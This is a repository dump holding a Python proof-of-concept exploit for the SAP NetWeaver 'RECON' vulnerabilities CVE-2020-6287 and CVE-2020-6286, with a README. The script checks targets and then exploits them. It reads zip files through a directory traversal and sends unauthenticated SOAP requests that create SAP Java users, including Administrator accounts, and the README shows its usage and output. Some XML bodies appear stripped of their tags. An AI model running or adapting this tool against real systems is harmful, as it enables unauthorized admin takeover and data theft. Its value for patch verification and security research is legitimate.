├── .gitignore
├── README.md
└── RECON.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 | MANIFEST
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *.cover
47 | .hypothesis/
48 | .pytest_cache/
49 |
50 | # Translations
51 | *.mo
52 | *.pot
53 |
54 | # Django stuff:
55 | *.log
56 | local_settings.py
57 | db.sqlite3
58 |
59 | # Flask stuff:
60 | instance/
61 | .webassets-cache
62 |
63 | # Scrapy stuff:
64 | .scrapy
65 |
66 | # Sphinx documentation
67 | docs/_build/
68 |
69 | # PyBuilder
70 | target/
71 |
72 | # Jupyter Notebook
73 | .ipynb_checkpoints
74 |
75 | # pyenv
76 | .python-version
77 |
78 | # celery beat schedule file
79 | celerybeat-schedule
80 |
81 | # SageMath parsed files
82 | *.sage.py
83 |
84 | # Environments
85 | .env
86 | .venv
87 | env/
88 | venv/
89 | ENV/
90 | env.bak/
91 | venv.bak/
92 |
93 | # Spyder project settings
94 | .spyderproject
95 | .spyproject
96 |
97 | # Rope project settings
98 | .ropeproject
99 |
100 | # mkdocs documentation
101 | /site
102 |
103 | # mypy
104 | .mypy_cache/
105 |
106 | # some idea stuff
107 | .idea
108 |
109 | # local db
110 | *.sqlite
111 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)
2 |
3 | ~~Pffff! RECON (Remotely Exploitable Code On NetWeaver)? Guys, really? That was the best codename you came up with? :)~~
4 |
5 | This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and as a PoC script exploits directory traversal in `queryProtocol` method.
6 |
7 | Directory traversal allows to download any `zip` from SAP server.
8 |
9 | ***This project is created only for educational purposes and cannot be used for law violation or personal gain.
10 |
The author of this project is not responsible for any possible harm caused by the materials of this project***
11 |
12 | Original finding:
13 |
14 | CVE-2020-6287: [Pablo Artuso](https://twitter.com/lmkalg)
15 | CVE-2020-6286: [Yvan 'iggy' G.](https://twitter.com/_1ggy)
16 |
17 | Solution: [#2934135](https://launchpad.support.sap.com/#/notes/2934135), [#2939665](https://launchpad.support.sap.com/#/notes/2939665)
18 |
19 |
20 |
21 | # How to use
22 |
23 |
24 | Just point SAP NW AS Java hostnmae/ip.
25 |
26 | There is additional options:
27 |
28 | 1. `-c` - check if SAP server is vulnerable to RECON
29 | 2. `-f` - download `zip` file from SAP server
30 | 3. `-u` - create user SAP JAVA user with `Authenticated User` role
31 | 4. `-a` - create user SAP JAVA user with `Administrator` role
32 |
33 |
34 | Ex.: Download zip file
35 |
36 | ```
37 | ~python RECON.py -H 172.16.30.8 -f /1111.zip
38 | Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
39 | Ok! File zipfile_929.zip was saved
40 | ```
41 |
42 |
43 | Ex.: Create SAP JAVA user
44 |
45 | ```
46 | ~python RECON.py -H 172.16.30.8 -u
47 | Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
48 | Going to create new user. sapRpoc5484:Secure!PwD9379
49 | Ok! User were created
50 | ```
51 |
52 | Ex.: Create SAP JAVA Administrator user
53 |
54 | ```
55 | ~python RECON.py -H 172.16.30.8 -a
56 | Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
57 | Going to create new user sapRpoc5574:Secure!PwD7715 with role 'Administrator'
58 | Ok! Admin user were created
59 | ```
60 |
61 | ## All options
62 |
63 |
64 | ```
65 | ~python RECON.py -h
66 | usage: RECON.py [-h] [-H HOST] [-P PORT] [-p PROXY] [-s] [-c] [-f ZIPFILE]
67 | [-u] [-a] [--timeout TIMEOUT] [-v]
68 |
69 | PoC for CVE-2020-6287, (RECON)
70 | This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
71 | Original finding:
72 | - Pablo Artuso. https://twitter.com/lmkalg
73 | - Yvan 'iggy' G https://twitter.com/_1ggy
74 |
75 | Thanks:
76 | - Spencer McIntyre https://twitter.com/zeroSteiner
77 |
78 | Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665
79 |
80 | optional arguments:
81 | -h, --help show this help message and exit
82 | -H HOST, --host HOST Java NW host (default: 127.0.0.1)
83 | -P PORT, --port PORT Java NW web port (default: tcp/50000)
84 | -p PROXY, --proxy PROXY
85 | Use proxy (ex: 127.0.0.1:8080)
86 | -s, --ssl enable SSL
87 | -c, --check just detect vulnerability
88 | -f ZIPFILE, --zipfile ZIPFILE
89 | ZIP file to read. CVE-2020-6286
90 | -u, --user Create simple JAVA user. CVE-2020-6287
91 | -a, --admin Create JAVA user with role "Administrator". CVE-2020-6287
92 | --timeout TIMEOUT HTTP connection timeout in second (default: 10)
93 | -v, --verbose verbose mode
94 | ```
95 |
--------------------------------------------------------------------------------
/RECON.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | __author__ = 'chipik'
4 |
5 | import base64
6 | import random
7 | import requests
8 | import argparse
9 | import xml.etree.ElementTree as ET
10 |
11 | help_desc = '''
12 | PoC for CVE-2020-6287, (RECON)
13 | This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
14 | Original finding:
15 | - Pablo Artuso. https://twitter.com/lmkalg
16 | - Yvan 'iggy' G https://twitter.com/_1ggy
17 |
18 | Thanks:
19 | - Spencer McIntyre https://twitter.com/zeroSteiner
20 |
21 | Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665
22 | '''
23 |
24 |
25 | def detect_vuln(base_url):
26 | headers = {
27 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC"}
28 | status = 'OK'
29 | checks = {"name":"Check1","path":"/CTCWebService/CTCWebServiceBean","sign_status":200}
30 | ans = requests.head(base_url + checks['path'], headers=headers, proxies=proxies, timeout=timeout, allow_redirects=False, verify=False)
31 | status_code = ans.status_code
32 | is_vulnerable = False
33 | ret_url=''
34 | # Check the status code
35 | if status_code == checks['sign_status']:
36 | is_vulnerable = True
37 | status = 'Vulnerable! [CVE-2020-6287] (RECON)'
38 | print ("%s - %s - %s" %(checks['name'], status, base_url + checks['path'] ))
39 | ret_url = base_url + checks['path']
40 | else:
41 | print ("%s - %s" %(checks['name'], status))
42 | return {"status":is_vulnerable, "url":ret_url}
43 |
44 |
45 | def exploit_traversal(url, zipfile):
46 | headers = {
47 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6286 PoC",
48 | "Content-Type":"text/xml;charset=UTF-8"}
49 | xml = '''
50 |
51 |
52 |
53 |
54 | /../../../../../../../../../../../../../../../../../..%s
55 |
56 |
57 |
58 | ''' % (zipfile.replace(".zip",""))
59 | ans = requests.post(url, headers=headers, proxies=proxies, timeout=timeout, data=xml, verify=False)
60 | if ans.status_code == 200:
61 | myroot = ET.fromstring(ans.content)
62 | zipb64 = ''
63 | for ret_val in myroot.iter('return'):
64 | zipb64 = ret_val.text
65 | if zipb64:
66 | zipdata = base64.b64decode(zipb64)
67 | filename = "zipfile_%d.zip" %(random.randint(1, 10000))
68 | with open(filename, 'wb') as f:
69 | f.write(zipdata)
70 | print("Ok! File %s was saved" % (filename))
71 | else:
72 | print("Error! Can't read file %s. Look's like there is no file %s on the server" % (zipfile, zipfile))
73 | else:
74 | print("Error! Can't read file %s. Status: %s" % (zipfile, ans.status_code))
75 | return
76 |
77 | def generate_CreateUser_paylod():
78 | username = "sapRpoc%d" % (random.randint(5000, 10000))
79 | password = "Secure!PwD%d" % (random.randint(5000, 10000))
80 | p = "java%s%sJ" % (username, password)
81 | print("Going to create new user. %s:%s" % (username, password))
82 | return base64.b64encode(p.encode('utf-8')).decode('utf-8')
83 |
84 | def generate_CreateAdmUser_paylod():
85 | username = "sapRpoc%d" % (random.randint(5000, 10000))
86 | password = "Secure!PwD%d" % (random.randint(5000, 10000))
87 | Rand_val = "ThisIsRnd%d" % (random.randint(5000, 10000))
88 | p = '''
89 |
90 |
91 |
92 | Administrator
93 |
94 |
95 | %s
96 |
97 |
98 | %s
99 |
100 |
101 | %s
102 |
103 |
104 | %s
105 | %s
106 |
107 |
108 | %s
109 | %s
110 |
111 |
112 | %s
113 | %s
114 |
115 |
116 | %s
117 | %s
118 |
119 |
120 |
121 | ''' % (Rand_val, Rand_val, Rand_val, username, password, Rand_val, Rand_val, Rand_val, Rand_val, Rand_val, Rand_val)
122 | print("Going to create new user %s:%s with role 'Administrator'" % (username, password))
123 | return base64.b64encode(p.encode('utf-8')).decode('utf-8')
124 |
125 | def exploit_createUser(url):
126 | headers = {
127 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC",
128 | "Content-Type": "text/xml;charset=UTF-8"}
129 | payload = generate_CreateUser_paylod()
130 | xml = '''
131 |
132 |
133 |
134 |
135 |
136 | sap.com/tc~lm~config~content
137 | content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc
138 |
139 |
140 |
141 |
142 | %s
143 | userDetails
144 |
145 |
146 |
147 |
148 | ''' % (payload)
149 | ans = requests.post(url, headers=headers, proxies=proxies, timeout=timeout, data=xml, verify=False)
150 | if ans.status_code == 200:
151 | print("Ok! User were created")
152 | else:
153 | print("Error! Can't create user. Status: %s" % (ans.status_code))
154 | return
155 |
156 | def exploit_add_role(url):
157 | headers = {
158 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC",
159 | "Content-Type": "text/xml;charset=UTF-8"}
160 | payload = generate_CreateAdmUser_paylod()
161 | xml = '''
162 |
163 |
164 |
165 |
166 |
167 | sap.com/tc~lm~config~content
168 | content/Netweaver/PI_PCK/PCK/PCKProcess.cproc
169 |
170 |
171 |
172 | %s
173 |
174 | Netweaver.PI_PCK.PCK
175 |
176 |
177 |
178 |
179 | ''' % (payload)
180 | try:
181 | ans = requests.post(url, headers=headers, proxies=proxies, timeout=timeout, data=xml, verify=False)
182 | if ans.status_code == 200:
183 | print("Ok! Admin user were created")
184 | else:
185 | print("Error! Can't create user. Status: %s" % (ans.status_code))
186 | except requests.exceptions.ReadTimeout:
187 | print("Ok! Admin user were created")
188 | return
189 |
190 | if __name__ == '__main__':
191 | parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
192 | parser.add_argument('-H', '--host', default='127.0.0.1', help='Java NW host (default: 127.0.0.1)')
193 | parser.add_argument('-P', '--port', default=50000, type=int, help='Java NW web port (default: tcp/50000)')
194 | parser.add_argument('-p', '--proxy', help='Use proxy (ex: 127.0.0.1:8080)')
195 | parser.add_argument('-s', '--ssl', action='store_true', help='enable SSL')
196 | parser.add_argument('-c', '--check', action='store_true', help='just detect vulnerability')
197 | parser.add_argument('-f', '--zipfile', default='', help='ZIP file to read. CVE-2020-6286')
198 | parser.add_argument('-u', '--user', action='store_true', help='Create simple JAVA user. CVE-2020-6287')
199 | parser.add_argument('-a', '--admin', action='store_true', help='Create JAVA user with role "Administrator". CVE-2020-6287')
200 | parser.add_argument('--timeout', default=10, type=int, help='HTTP connection timeout in second (default: 10)')
201 | parser.add_argument('-v', '--verbose', action='store_true', help='verbose mode')
202 | args = parser.parse_args()
203 | timeout = args.timeout
204 |
205 | proxies = {}
206 | verify = True
207 | if args.proxy:
208 | verify = False
209 | proxies = {
210 | 'http': args.proxy,
211 | 'https': args.proxy,
212 | }
213 | if args.ssl:
214 | base_url = "https://%s:%s" % (args.host, args.port)
215 | else:
216 | base_url = "http://%s:%s" % (args.host, args.port)
217 | if args.check:
218 | detect_vuln(base_url)
219 | exit()
220 | if args.zipfile:
221 | result = detect_vuln(base_url)
222 | if result["status"]:
223 | exploit_traversal(result["url"].replace("?wsdl",""),args.zipfile)
224 | if args.user:
225 | result = detect_vuln(base_url)
226 | if result["status"]:
227 | exploit_createUser(result["url"].replace("?wsdl", ""))
228 | if args.admin:
229 | result = detect_vuln(base_url)
230 | if result["status"]:
231 | exploit_add_role(result["url"].replace("?wsdl", ""))
232 |
--------------------------------------------------------------------------------